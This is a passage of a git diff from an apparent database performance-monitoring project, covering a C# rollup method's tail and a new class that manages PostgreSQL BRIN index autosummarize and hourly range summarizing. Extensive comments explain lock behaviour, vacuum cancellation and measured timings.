+        OpenWriter? writer = null;
+        if (heldBack > 0)
+        {
+            try
+            {
+                writer = await FindOldestWriterAsync(connection, cancellationToken);
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                logger.LogDebug("Query Store compose rollup: the open-writer lookup failed: {Message}", ex.Message);
+            }
+        }
+
+        var due = heldBack > 0 && watch.ShouldWarn(true, writer?.OpenFor);
+        if (heldBack > 0)
+        {
+            var who = writer is { } open
+                ? string.Format(System.Globalization.CultureInfo.InvariantCulture, "pid {0}, started {1}, application {2}, backend type {3}",
+                    open.Pid, open.XactStart is { } at ? at.ToString("u", System.Globalization.CultureInfo.InvariantCulture) : "unknown (not readable)", open.ApplicationName, open.BackendType)
+                : "it has finished since";
+            logger.Log(due ? LogLevel.Warning : LogLevel.Information,
+                "Query Store compose rollup: {Count} hour(s) wait for a transaction that writes the Query Store wide table and is still open ({Writer}); the rollup builds the other hours and retries these next tick",
+                heldBack, who);
+        }
+        else
+        {
+            watch.ShouldWarn(false, null);
+        }
+
+        var deferred = plan.Count - started + deferredForWriters;
+        var result = new TickResult(builtStale, builtMissing, failed, removed, deferred, deferredForWriters, planned.HeldBack);
+        logger.LogInformation("Query Store compose rollup: built {Built} hour(s) (stale {Stale}, missing {Missing}), failed {Failed}, deferred {Deferred}, removed {Removed} hour(s)",
+            result.Built, builtStale, builtMissing, failed, deferred, removed);
+        return result;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalBrin.cs b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalBrin.cs
new file mode 100644
index 0000000000..cd80399289
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalBrin.cs
@@ -0,0 +1,550 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The BRIN indexes on the Query Store interval tables and autovacuum (#5594): they are summarized by the service, never
+/// by an autovacuum work item, so a running VACUUM of a big table is not cancelled for them.
+///
+/// <para><b>The defect.</b> <c>autosummarize = on</c> (#4862) queues a "BRIN summarize" autovacuum work item for every new
+/// block range. The work item needs <c>SHARE UPDATE EXCLUSIVE</c> on the table, the same lock a VACUUM holds, so it waits;
+/// after <c>deadlock_timeout</c> (1 s) PostgreSQL cancels the blocking autovacuum for any waiter. On a store that had just
+/// drained 17.8 M rows from a 12.3 M-block table, the table's autovacuum was cancelled 8 times in 14 minutes and had not
+/// finished since: each attempt got 170 K to 313 K blocks in. On a throwaway PostgreSQL 18 rig (a 1 GB table, a throttled
+/// VACUUM, 3,000 rows inserted every 0.7 s) it was cancelled 69 times in 240 s and never finished.</para>
+///
+/// <para><b>Off, everywhere.</b> New builds say <c>autosummarize = off</c> (<see cref="QueryStoreIntervalWideBrinIndex"/>, and
+/// V171's parent index, so a day partition made by <c>PARTITION OF</c> or <c>ATTACH</c> clones <c>off</c>).
+/// <see cref="TurnOffAutosummarizeAsync"/> turns it off on every existing BRIN leaf of a table (the legacy table's, each
+/// day leaf's, DEFAULT's): it reads the catalog and alters only an index that is still on, so a converged store pays one
+/// catalog read. It runs on the hourly convergence pass, which also runs on the start path before the collectors. A store
+/// that ran V171 before the parent said <c>off</c> keeps an <c>on</c> parent, and the partitioned parent index cannot be
+/// altered ("This operation is not supported for partitioned indexes", PostgreSQL 18; a parent index is a catalog template
+/// with no storage, so its setting changes nothing by itself), so such a store keeps cloning <c>on</c>. Promotion and
+/// create-ahead therefore turn it off inside the transaction that makes the leaf, while the leaf is new and nothing else
+/// holds it.</para>
+///
+/// <para><b>The lock the ALTER takes.</b> <c>ALTER INDEX ... SET (autosummarize = off)</c> takes ACCESS EXCLUSIVE on the INDEX,
+/// not the table (measured with pg_locks on PostgreSQL 18.6). A running VACUUM holds ROW EXCLUSIVE on each of its table's
+/// indexes for its whole run, so the ALTER waits for it, and a queued ACCESS EXCLUSIVE request blocks everything that asks
+/// for the index after it: the collectors' inserts (ROW EXCLUSIVE) and also every read that does not prune the leaf (the
+/// planner takes ACCESS SHARE on each index of a leaf it plans against). So the wait is felt by readers as well as writers.
+/// What the holder is decides whether waiting does any good:</para>
+/// <list type="bullet">
+/// <item>A regular autovacuum is cancelled by the deadlock check after <c>deadlock_timeout</c>, and the ALTER goes through
+/// (measured: 1,008 ms, one cancel). That is deliberately accepted: it happens once per index, ends the cancel loop for
+/// good, and the VACUUM it cancels was being cancelled every couple of minutes anyway.</item>
+/// <item>An anti-wraparound autovacuum and a manual VACUUM (any role) are never cancelled: waiting for them only queues
+/// the ALTER, and the leaf's writers and readers with it. A store that never finished vacuuming its big legacy table is the
+/// likely one to be in anti-wraparound. So an index whose table <c>pg_stat_progress_vacuum</c> shows being vacuumed by one
+/// of those is not asked for at all: the step leaves it on, says so, and the next pass tries again
+/// (<see cref="QueryStoreIntervalPartitions.StepOutcome.RetryLater"/>). A vacuum is anti-wraparound by either of two signals.
+/// First, its table's <c>age(relfrozenxid)</c> or <c>mxid_age(relminmxid)</c> is past <c>autovacuum_freeze_max_age</c> or
+/// <c>autovacuum_multixact_freeze_max_age</c>, the smaller of the table's own setting and the server's (autovacuum does the
+/// same in <c>relation_needs_vacanalyze</c>; <see cref="AntiWraparoundAgeSql"/>). Second, the worker's own activity text ends
+/// in <c>(to prevent wraparound)</c>, which autovacuum writes for exactly that flag; it also covers a multixact member-space
+/// limit that SQL cannot read. A vacuum whose backend is not an autovacuum worker is a manual one. A role that may not see another role's worker reads NULL from
+/// <c>pg_stat_progress_vacuum</c> and <c>pg_stat_activity</c> (measured), and then only the next point applies.</item>
+/// <item>What no check can see waits at most <c>min(5 s, deadlock_timeout + 1 s)</c> (<see cref="TurnOffLockTimeoutMs"/>,
+/// read at run time in the same session): a regular autovacuum still gets its <c>deadlock_timeout</c> to be cancelled plus a
+/// second to let go, and a futile wait is about 2 s on a default server, not 5.</item>
+/// </list>
+/// <para>The turn-off and the summarize run on different tasks (the convergence pass and the background task, 20 minutes
+/// apart after a start and each hourly), each on its own connection, so nothing keeps them from overlapping. They do not
+/// get in each other's way: <c>brin_summarize_range</c> takes its <c>SHARE UPDATE EXCLUSIVE</c> locks inside the call and
+/// releases them when the call ends (measured with pg_locks: none held after it), so the summarize holds the index for one
+/// range at a time, not for its run. Measured on PostgreSQL 18.6, an ALTER sent 1.5 s into a 10.7 s summarize of a
+/// 156 K-block table took 150 ms and the summarize finished every range. A lock timeout or a skipped index moves on to the
+/// next index of the table; the step reports <c>RetryLater</c> after the loop.</para>
+///
+/// <para><b>Summarizing, explicitly.</b> Without autosummarize a range is summarized only when VACUUM reaches the end of
+/// its table, and an unsummarized range is always read, so every <c>collection_time</c> read through the BRIN scans the
+/// unsummarized tail of every leaf it touches. Measured on a throwaway rig (a 111 K-block table, a 6 h window of 24 h):
+/// 27,904 blocks with no tail, 38,895 with a 10% tail (+39%), 50,006 with a 20% tail (+79%), 27,904 again once
+/// summarized; and a leaf that stops growing keeps its tail until another VACUUM comes. Insert-driven autovacuum fires
+/// after 20% growth, so the tail is real. <see cref="SummarizeNewRangesAsync"/> closes it hourly. Summarizing takes the same
+/// <c>SHARE UPDATE EXCLUSIVE</c> a VACUUM holds, so it must never be the waiter that cancels one: it reads
+/// <c>deadlock_timeout</c> at run time, runs each index in its own transaction under a <c>lock_timeout</c> of half of it
+/// (capped at <see cref="MaximumSummarizeLockTimeoutMs"/>), skips an index whose table <c>pg_stat_progress_vacuum</c> shows
+/// being vacuumed without asking for a lock, and does nothing when <c>deadlock_timeout</c> is under
+/// <see cref="MinimumDeadlockTimeoutMs"/>.</para>
+///
+/// <para><b>Stopping between ranges.</b> <c>brin_summarize_new_values</c> cannot be stopped cleanly. A range is summarized by
+/// first inserting a placeholder tuple for it and then reading its 128 blocks, so a <c>statement_timeout</c> cancel lands
+/// inside a range nearly every time, and a range that has any tuple (a placeholder included) is skipped by every later
+/// summarize. Measured on PostgreSQL 18.6: a 150 ms <c>statement_timeout</c> on a 47 K-block table left a placeholder; a second
+/// <c>brin_summarize_new_values</c> and a <c>brin_summarize_range</c> on that very block both returned without touching it;
+/// only <c>brin_desummarize_range</c> and then a summarize healed it. A placeholder is always returned by a scan, so that
+/// range (128 blocks) would be read by every query for good, one per deadline hit. So the summarize is one statement per
+/// index that calls <c>brin_summarize_range</c> for each range of the heap in block order, each call guarded by a clock check
+/// against <see cref="SummarizeBudgetSeconds"/>: when the budget is spent the remaining ranges are not started, and the
+/// next pass continues at the first range still missing. Measured: a 200 ms budget summarized 24 ranges, left no
+/// placeholder, and the next pass finished the other 342. A <c>statement_timeout</c> of <see cref="SummarizeBackstopSeconds"/>
+/// past the budget stays as a backstop for a read that stalls; only that one can leave a placeholder. The cost of testing
+/// every range each pass is about 3 microseconds a range (measured on summarized ranges), about 0.3 s for a 12.3 M-block table. The
+/// budget is reached only by a tail nothing has ever summarized: at the 14,600 to 36,000 blocks a second measured on the rig
+/// (a 156 K-block table took 10.7 s, a 47 K-block one 1.2 s), the 12.3 M-block legacy table of the store in #5594 is 6 to 14
+/// minutes of reading, more from a slower disk, so several hourly passes; one hour's growth of a day leaf (one 24th of a
+/// leaf, for example 17 K blocks of 400 K) is a second or two. A call with nothing to summarize costs a few
+/// milliseconds.</para>
+///
+/// <para><b>Only leaves.</b> A partitioned index (relkind <c>I</c>) has no storage: it can be neither altered nor
+/// summarized. Every statement here names a leaf index found in the catalog (<c>format('%I.%I')</c>, never a built-up
+/// string), through the table's partition tree, so a future leaf is covered the day it exists. A leaf dropped between the
+/// catalog read and its statement (the sweep drops expired days) is skipped.</para>
+/// </summary>
+public static class QueryStoreIntervalBrin
+{
+    /// <summary>The smallest <c>deadlock_timeout</c> (milliseconds) that leaves room for a lock wait strictly below it.</summary>
+    public const int MinimumDeadlockTimeoutMs = 200;
+
+    /// <summary>The longest lock wait of a summarize, in milliseconds, whatever <c>deadlock_timeout</c> is.</summary>
+    public const int MaximumSummarizeLockTimeoutMs = 2000;
+
+    /// <summary>The time one index's summarize may spend starting new ranges, in seconds; it stops between ranges.</summary>
+    public const int SummarizeBudgetSeconds = 60;
+
+    /// <summary>How long after the budget the server cancels a summarize statement that is stuck inside a range, in seconds.</summary>
+    public const int SummarizeBackstopSeconds = 30;
+
+    /// <summary>Deadline for the catalog reads, in seconds.</summary>
+    public const int CatalogReadTimeoutSeconds = 30;
+
+    /* The BRIN leaf indexes of $1 and its partition tree. pg_partition_tree is strict, so a missing table reads nothing; a plain
+       table is found by the first predicate. Relkind i only: the partitioned parent index (I) has no storage and no ALTER. */
+    private const string LeafBrinIndexesFrom = @"
+FROM pg_class AS i
+JOIN pg_index AS x ON x.indexrelid = i.oid
+JOIN pg_namespace AS n ON n.oid = i.relnamespace
+JOIN pg_am AS am ON am.oid = i.relam
+WHERE am.amname = 'brin'
+AND   i.relkind = 'i'
+AND   (x.indrelid = to_regclass($1) OR x.indrelid IN (SELECT pt.relid FROM pg_partition_tree(to_regclass($1)) AS pt))";
+
+    /* Whether the table (the pg_class row aliased t) is old enough that autovacuum runs an anti-wraparound vacuum on it (#5594
+       round 2 L1, L3): the XID age or the multixact age past the freeze limit. Autovacuum's limit is the SMALLER of the table's
+       reloption and the server setting (relation_needs_vacanalyze in autovacuum.c), so LEAST, which skips the NULL of an unset
+       reloption; a per-table value above the server's is ignored by autovacuum and must be ignored here. A fragment of its own
+       so a test can evaluate it alone against a table (SELECT <fragment> FROM pg_class AS t WHERE t.oid = $1::regclass). */
+    internal const string AntiWraparoundAgeSql = @"
+(
+    age(t.relfrozenxid) >
+        LEAST
+        (
+            (SELECT o.option_value::int FROM pg_options_to_table(t.reloptions) AS o WHERE o.option_name = 'autovacuum_freeze_max_age'),
+            current_setting('autovacuum_freeze_max_age')::int
+        )
+    OR mxid_age(t.relminmxid) >
+        LEAST
+        (
+            (SELECT o.option_value::int FROM pg_options_to_table(t.reloptions) AS o WHERE o.option_name = 'autovacuum_multixact_freeze_max_age'),
+            current_setting('autovacuum_multixact_freeze_max_age')::int
+        )
+)";
+
+    /* Every BRIN leaf index of $1 whose autosummarize is on, and whether its table is being vacuumed by a vacuum the deadlock
+       check never cancels (#5594 M1): a manual VACUUM (a backend that is not an autovacuum worker), or an autovacuum that is
+       anti-wraparound. Two signals for the second: the table's age (AntiWraparoundAgeSql), and the worker's activity text, which
+       autovacuum ends with ' (to prevent wraparound)' for an anti-wraparound vacuum (autovac_report_activity in autovacuum.c:
+       tab->at_params.is_wraparound ? " (to prevent wraparound)" : "", PostgreSQL 16-18). The text also covers the multixact
+       member-space limit, which lowers autovacuum's real multixact limit below the setting and which SQL cannot read.
+       pg_stat_progress_vacuum and pg_stat_activity read NULL for another role's worker the caller may not see, which makes
+       this false for it, and the lock_timeout decides instead. The option text is whatever the DDL said (on, true, yes, 1). */
+    internal const string AutosummarizeOnSql = @"
+SELECT format('%I.%I', n.nspname, i.relname),
+       EXISTS
+       (
+           SELECT 1
+           FROM pg_stat_progress_vacuum AS v
+           JOIN pg_class AS t ON t.oid = v.relid
+           WHERE v.datid = (SELECT d.oid FROM pg_database AS d WHERE d.datname = current_database())
+           AND   v.relid = x.indrelid
+           AND
+           (
+               " + AntiWraparoundAgeSql + @"
+               OR EXISTS
+               (
+                   SELECT 1
+                   FROM pg_stat_activity AS a
+                   WHERE a.pid = v.pid
+                   AND   (a.backend_type <> 'autovacuum worker' OR a.query LIKE '%(to prevent wraparound)')
+               )
+           )
+       )" + LeafBrinIndexesFrom + @"
+AND   EXISTS
+(
+    SELECT 1
+    FROM pg_options_to_table(i.reloptions) AS o
+    WHERE o.option_name = 'autosummarize'
+    AND   lower(o.option_value) IN ('on', 'true', 'yes', 't', 'y', '1')
+)
+ORDER BY 1;";
+
+    /* Every valid BRIN leaf index of $1, and whether its table is being vacuumed right now. pg_stat_progress_vacuum is
+       per database, and a role that may not see another role's worker reads NULL there, which only means the lock timeout
+       decides instead of this check. */
+    internal const string SummarizeTargetsSql = @"
+SELECT format('%I.%I', n.nspname, i.relname),
+       EXISTS
+       (
+           SELECT 1
+           FROM pg_stat_progress_vacuum AS v
+           WHERE v.datid = (SELECT d.oid FROM pg_database AS d WHERE d.datname = current_database())
+           AND   v.relid = x.indrelid
+       )" + LeafBrinIndexesFrom + @"
+AND   x.indisvalid
+ORDER BY 1;";
+
+    /* One index's summarize ($1 the index, $2 the budget in seconds): brin_summarize_range for each range of the heap in block
+       order, each call behind a clock check, so the statement stops BETWEEN ranges (brin_summarize_new_values can only be
+       cancelled, which strands a placeholder; see the class remarks). Column 0 is the ranges summarized, column 1 the ranges
+       not started because the budget was spent. The index is resolved once in the inner query: a dropped index reads no rows
+       (0, 0) instead of a NULL scalar. The last, partial range is summarized too (brin_summarize_range passes include_partial). pages_per_range is the
+       index's own setting, 128 when unset. */
+    internal const string SummarizeIndexSql = @"
+SELECT COALESCE(sum(s.r), 0)::bigint,
+       count(*) FILTER (WHERE s.r IS NULL)::bigint
+FROM
+(
+    SELECT CASE WHEN clock_timestamp() < statement_timestamp() + make_interval(secs => $2)
+                THEN brin_summarize_range(ix.indexrelid, g.b)
+           END AS r
+    FROM
+    (
+        SELECT x.indexrelid,
+               x.indrelid,
+               COALESCE((SELECT o.option_value::int FROM pg_options_to_table(i.reloptions) AS o WHERE o.option_name = 'pages_per_range'), 128) AS pages_per_range
+        FROM pg_index AS x
+        JOIN pg_class AS i ON i.oid = x.indexrelid
+        WHERE x.indexrelid = to_regclass($1)
+    ) AS ix
+    CROSS JOIN LATERAL generate_series(0::bigint, pg_relation_size(ix.indrelid) / current_setting('block_size')::int - 1, ix.pages_per_range) AS g(b)
+) AS s;";
+
+    internal const string DeadlockTimeoutSql = "SELECT setting::int FROM pg_settings WHERE name = 'deadlock_timeout';";
+
+    /// <summary>
+    /// The lock wait of a summarize in milliseconds for a server whose <c>deadlock_timeout</c> is
+    /// <paramref name="deadlockTimeoutMs"/>: half of it, at most <see cref="MaximumSummarizeLockTimeoutMs"/>, so always
+    /// strictly below it; 0 when <paramref name="deadlockTimeoutMs"/> is under <see cref="MinimumDeadlockTimeoutMs"/>, which
+    /// means the step does not run.
+    /// </summary>
+    public static int SummarizeLockTimeoutMs(int deadlockTimeoutMs) =>
+        deadlockTimeoutMs < MinimumDeadlockTimeoutMs ? 0 : Math.Min(deadlockTimeoutMs / 2, MaximumSummarizeLockTimeoutMs);
+
+    /// <summary>
+    /// The lock wait of the turn-off ALTER in milliseconds for a server whose <c>deadlock_timeout</c> is
+    /// <paramref name="deadlockTimeoutMs"/>: <c>deadlock_timeout</c> plus one second, at most the step's usual
+    /// <see cref="QueryStoreIntervalPartitions.LockTimeoutSeconds"/>. A regular autovacuum is cancelled by the deadlock check
+    /// at <c>deadlock_timeout</c>, so this gives it that and a second to let go; a wait that long on a holder that is not
+    /// cancelled is the most a request that queues readers and writers should cost.
+    /// </summary>
+    public static int TurnOffLockTimeoutMs(int deadlockTimeoutMs) =>
+        (int)Math.Min(QueryStoreIntervalPartitions.LockTimeoutSeconds * 1000L, Math.Max(deadlockTimeoutMs, 1) + 1000L);
+
+    private static string AlterOffSql(string index) => $"ALTER INDEX {index} SET (autosummarize = off);";
+
+    private static async Task<int> ReadDeadlockTimeoutMsAsync(NpgsqlConnection connection, CancellationToken cancellationToken)
+    {
+        await using var read = new NpgsqlCommand(DeadlockTimeoutSql, connection) { CommandTimeout = CatalogReadTimeoutSeconds };
+        return Convert.ToInt32(await read.ExecuteScalarAsync(cancellationToken).ConfigureAwait(false), System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    private static async Task<List<(string Index, bool Held)>> ReadAutosummarizeOnAsync(
+        NpgsqlConnection connection, string relation, NpgsqlTransaction? transaction, CancellationToken cancellationToken)
+    {
+        var found = new List<(string Index, bool Held)>();
+        await using var command = new NpgsqlCommand(AutosummarizeOnSql, connection, transaction) { CommandTimeout = CatalogReadTimeoutSeconds };
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = relation });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken).ConfigureAwait(false);
+        while (await reader.ReadAsync(cancellationToken).ConfigureAwait(false))
+        {
+            found.Add((reader.GetString(0), reader.GetBoolean(1)));
+        }
+
+        return found;
+    }
+
+    /// <summary>
+    /// Turns <c>autosummarize</c> off on every BRIN leaf index of <paramref name="relation"/> and its partitions that still has
+    /// it on, inside <paramref name="transaction"/> (which carries its own <c>lock_timeout</c>). For a partition the same
+    /// transaction has just created or locked, so the ALTER waits for nothing. Returns how many indexes it altered.
+    /// </summary>
+    internal static async Task<int> TurnOffInTransactionAsync(
+        NpgsqlConnection connection, NpgsqlTransaction transaction, string relation, CancellationToken cancellationToken)
+    {
+        var on = await ReadAutosummarizeOnAsync(connection, relation, transaction, cancellationToken).ConfigureAwait(false);
+        foreach (var (index, _) in on)
+        {
+            await using var alter = new NpgsqlCommand(AlterOffSql(index), connection, transaction) { CommandTimeout = QueryStoreIntervalPartitions.ShortTimeoutSeconds };
+            await alter.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
+        }
+
+        return on.Count;
+    }
+
+    /// <summary>
+    /// The convergence step: every BRIN leaf index of <paramref name="table"/> that still has <c>autosummarize</c> on (an
+    /// index built by #4862, V171's legacy and parent copies, a day leaf that cloned the parent's option) is altered off,
+    /// each in its own transaction under <see cref="TurnOffLockTimeoutMs"/>. An index a holder that cannot be cancelled has
+    /// (see the class remarks) is skipped without a lock request; a lock timeout rolls that index back. Neither stops the
+    /// other indexes of the table; either one makes the outcome
+    /// <see cref="QueryStoreIntervalPartitions.StepOutcome.RetryLater"/>, and the indexes already done stay done. Count is the
+    /// number of indexes altered.
+    /// </summary>
+    public static async Task<QueryStoreIntervalPartitions.StepResult> TurnOffAutosummarizeAsync(
+        NpgsqlConnection connection, QueryStoreIntervalPartitions.IntervalTable table, ILogger logger, CancellationToken cancellationToken)
+    {
+        var on = await ReadAutosummarizeOnAsync(connection, table.Parent, null, cancellationToken).ConfigureAwait(false);
+        if (on.Count == 0)
+        {
+            return new QueryStoreIntervalPartitions.StepResult(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, "no BRIN index has autosummarize on");
+        }
+
+        var altered = 0;
+        var held = 0;
+        var timedOut = 0;
+        var lockTimeoutMs = 0;
+        foreach (var (index, uncancellableHolder) in on)
+        {
+            if (uncancellableHolder)
+            {
+                held++;
+                logger.LogDebug(
+                    "Query Store interval table {Table}: autosummarize stays on for {Index} this pass: its table is being vacuumed by a vacuum "
+                    + "that is never cancelled (a manual VACUUM or an anti-wraparound autovacuum), so asking for the lock would only queue readers and writers.",
+                    table.Parent, index);
+                continue;
+            }
+
+            if (lockTimeoutMs == 0)
+            {
+                lockTimeoutMs = TurnOffLockTimeoutMs(await ReadDeadlockTimeoutMsAsync(connection, cancellationToken).ConfigureAwait(false));
+            }
+
+            try
+            {
+                await using var transaction = await connection.BeginTransactionAsync(cancellationToken).ConfigureAwait(false);
+                await using (var timeout = new NpgsqlCommand(
+                    $"SET LOCAL lock_timeout = '{lockTimeoutMs}ms';", connection, transaction)
+                { CommandTimeout = QueryStoreIntervalPartitions.ShortTimeoutSeconds })
+                {
+                    await timeout.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
+                }
+
+                await using (var alter = new NpgsqlCommand(AlterOffSql(index), connection, transaction) { CommandTimeout = QueryStoreIntervalPartitions.ShortTimeoutSeconds })
+                {
+                    await alter.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
+                }
+
+                await transaction.CommitAsync(cancellationToken).ConfigureAwait(false);
+                altered++;
+            }
+            catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.LockNotAvailable)
+            {
+                timedOut++;
+                logger.LogDebug(
+                    "Query Store interval table {Table}: turning autosummarize off on {Index} hit its {LockMs} ms lock timeout and rolled back.",
+                    table.Parent, index, lockTimeoutMs);
+            }
+            catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.UndefinedTable)
+            {
+                /* The leaf was dropped (the sweep drops expired days) between the catalog read and the ALTER: nothing to turn off. */
+                logger.LogDebug("Query Store interval table {Table}: {Index} was dropped before autosummarize could be turned off on it.", table.Parent, index);
+            }
+        }
+
+        if (altered > 0)
+        {
+            logger.LogInformation(
+                "Query Store interval table {Table}: turned autosummarize off on {Count} BRIN index(es), so a BRIN summarize work item "
+                + "no longer waits for the table's lock and cancels its autovacuum (#5594).",
+                table.Parent, altered);
+        }
+
+        if (held + timedOut > 0)
+        {
+            var detail = $"autosummarize off on {altered} BRIN index(es); {held} left on while a vacuum that cannot be cancelled runs on their table, {timedOut} lock timeout(s)";
+            if (timedOut > 0)
+            {
+                logger.LogWarning(
+                    "Query Store interval table {Table}: turning autosummarize off hit a lock timeout on {TimedOut} BRIN index(es) and rolled them back, "
+                    + "and left {Held} on while a vacuum that cannot be cancelled runs on their table; the next pass retries.",
+                    table.Parent, timedOut, held);
+            }
+            else
+            {
+                logger.LogInformation(
+                    "Query Store interval table {Table}: autosummarize stays on for {Held} BRIN index(es) while a vacuum that cannot be "
+                    + "cancelled runs on their table; the next pass retries.",
+                    table.Parent, held);
+            }
+
+            return new QueryStoreIntervalPartitions.StepResult(QueryStoreIntervalPartitions.StepOutcome.RetryLater, detail, altered);
+        }
+
+        return new QueryStoreIntervalPartitions.StepResult(
+            QueryStoreIntervalPartitions.StepOutcome.Done, $"autosummarize off on {altered} BRIN index(es)", altered);
+    }
+
+    /// <summary>
+    /// The hourly summarize (see the class remarks): every range not yet summarized on each valid BRIN leaf index of
+    /// <paramref name="table"/>, each index in its own transaction, under a <c>lock_timeout</c> strictly below
+    /// <c>deadlock_timeout</c> and a <see cref="SummarizeBudgetSeconds"/> budget that stops it between ranges. An index whose
+    /// table is being vacuumed is skipped without a lock request. Count is the number of ranges summarized. A lock timeout
+    /// is <see cref="QueryStoreIntervalPartitions.StepOutcome.RetryLater"/>; a <c>deadlock_timeout</c> too short to leave
+    /// room is <see cref="QueryStoreIntervalPartitions.StepOutcome.NotReady"/>. Never throws for a lock, a budget or a
+    /// dropped leaf; shutdown propagates.
+    /// </summary>
+    public static async Task<QueryStoreIntervalPartitions.StepResult> SummarizeNewRangesAsync(
+        NpgsqlConnection connection, QueryStoreIntervalPartitions.IntervalTable table, ILogger logger, CancellationToken cancellationToken)
+    {
+        var deadlockMs = await ReadDeadlockTimeoutMsAsync(connection, cancellationToken).ConfigureAwait(false);
+        var lockMs = SummarizeLockTimeoutMs(deadlockMs);
+        if (lockMs == 0)
+        {
+            return new QueryStoreIntervalPartitions.StepResult(
+                QueryStoreIntervalPartitions.StepOutcome.NotReady,
+                $"deadlock_timeout is {deadlockMs} ms, too short to wait for a lock below it, so no BRIN summarize runs");
+        }
+
+        var targets = new List<(string Index, bool BeingVacuumed)>();
+        await using (var list = new NpgsqlCommand(SummarizeTargetsSql, connection) { CommandTimeout = CatalogReadTimeoutSeconds })
+        {
+            list.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = table.Parent });
+            await using var reader = await list.ExecuteReaderAsync(cancellationToken).ConfigureAwait(false);
+            while (await reader.ReadAsync(cancellationToken).ConfigureAwait(false))
+            {
+                targets.Add((reader.GetString(0), reader.GetBoolean(1)));
+            }
+        }
+
+        if (targets.Count == 0)
+        {
+            return new QueryStoreIntervalPartitions.StepResult(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, "no valid BRIN index");
+        }
+
+        long summarized = 0;
+        var vacuumed = 0;
+        var lockSkipped = 0;
+        var stopped = 0;
+        var dropped = 0;
+        foreach (var (index, beingVacuumed) in targets)
+        {
+            if (beingVacuumed)
+            {
+                vacuumed++;
+                continue;
+            }
+
+            try
+            {
+                await using var transaction = await connection.BeginTransactionAsync(cancellationToken).ConfigureAwait(false);
+                await using (var timeouts = new NpgsqlCommand(
+                    $"SET LOCAL lock_timeout = '{lockMs}ms'; SET LOCAL statement_timeout = '{SummarizeBudgetSeconds + SummarizeBackstopSeconds}s';",
+                    connection,
+                    transaction)
+                { CommandTimeout = CatalogReadTimeoutSeconds })
+                {
+                    await timeouts.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
+                }
+
+                long done;
+                long notStarted;
+                await using (var summarize = new NpgsqlCommand(SummarizeIndexSql, connection, transaction)
+                { CommandTimeout = SummarizeBudgetSeconds + SummarizeBackstopSeconds + CatalogReadTimeoutSeconds })
+                {
+                    summarize.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = index });
+                    summarize.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Double, Value = (double)SummarizeBudgetSeconds });
+                    await using var result = await summarize.ExecuteReaderAsync(cancellationToken).ConfigureAwait(false);
+                    await result.ReadAsync(cancellationToken).ConfigureAwait(false);
+                    done = result.GetInt64(0);
+                    notStarted = result.GetInt64(1);
+                }
+
+                await transaction.CommitAsync(cancellationToken).ConfigureAwait(false);
+                summarized += done;
+                if (notStarted > 0)
+                {
+                    stopped++;
+                    logger.LogInformation(
+                        "Query Store interval table {Table}: BRIN summarize of {Index} spent its {Seconds} s budget after {Done} range(s) and stopped between "
+                        + "ranges; those stay summarized and the next pass continues at the first range still missing.",
+                        table.Parent, index, SummarizeBudgetSeconds, done);
+                }
+            }
+            catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.LockNotAvailable)
+            {
+                lockSkipped++;
+                logger.LogDebug(
+                    "Query Store interval table {Table}: BRIN summarize of {Index} gave up after {LockMs} ms without the lock "
+                    + "(deadlock_timeout is {DeadlockMs} ms); the next pass retries.",
+                    table.Parent, index, lockMs, deadlockMs);
+            }
+            catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.InternalError || ex.SqlState == PostgresErrorCodes.UndefinedTable)
+            {
+                /* A leaf the sweep dropped (it drops expired days) after the target list was read: brin_summarize_range cannot open it
+                   and raises XX000 ("could not open relation with OID", index_open in brin.c), not 42P01 (#5594 round 2 L2). XX000 is
+                   also what any internal error says, so the index must read as gone before it counts as dropped. The transaction
+                   is already rolled back here (its scope ended with the try), so the check runs on a clean connection. */
+                var stillThere = await IndexExistsAsync(connection, index, cancellationToken).ConfigureAwait(false);
+                if (!IsDroppedIndexError(ex.SqlState, stillThere))
+                {
+                    throw;
+                }
+
+                dropped++;
+                logger.LogDebug("Query Store interval table {Table}: BRIN summarize of {Index} found it dropped.", table.Parent, index);
+            }
+            catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.QueryCanceled && !cancellationToken.IsCancellationRequested)
+            {
+                stopped++;
+                logger.LogInformation(
+                    "Query Store interval table {Table}: BRIN summarize of {Index} was cancelled by its {Seconds} s backstop, stuck inside one range; "
+                    + "what it finished stays summarized, that range stays a placeholder every scan reads until the index is rebuilt, and the next pass continues.",
+                    table.Parent, index, SummarizeBudgetSeconds + SummarizeBackstopSeconds);
+            }
+        }
+
+        var detail = $"summarized {summarized} range(s) on {targets.Count - vacuumed - lockSkipped - dropped} index(es); "
+            + $"skipped {vacuumed} being vacuumed, {lockSkipped} without the lock, {dropped} dropped, {stopped} stopped at the deadline";
+        if (summarized > 0)
+        {
+            return new QueryStoreIntervalPartitions.StepResult(
+                QueryStoreIntervalPartitions.StepOutcome.Done, detail, (int)Math.Min(summarized, int.MaxValue));
+        }
+
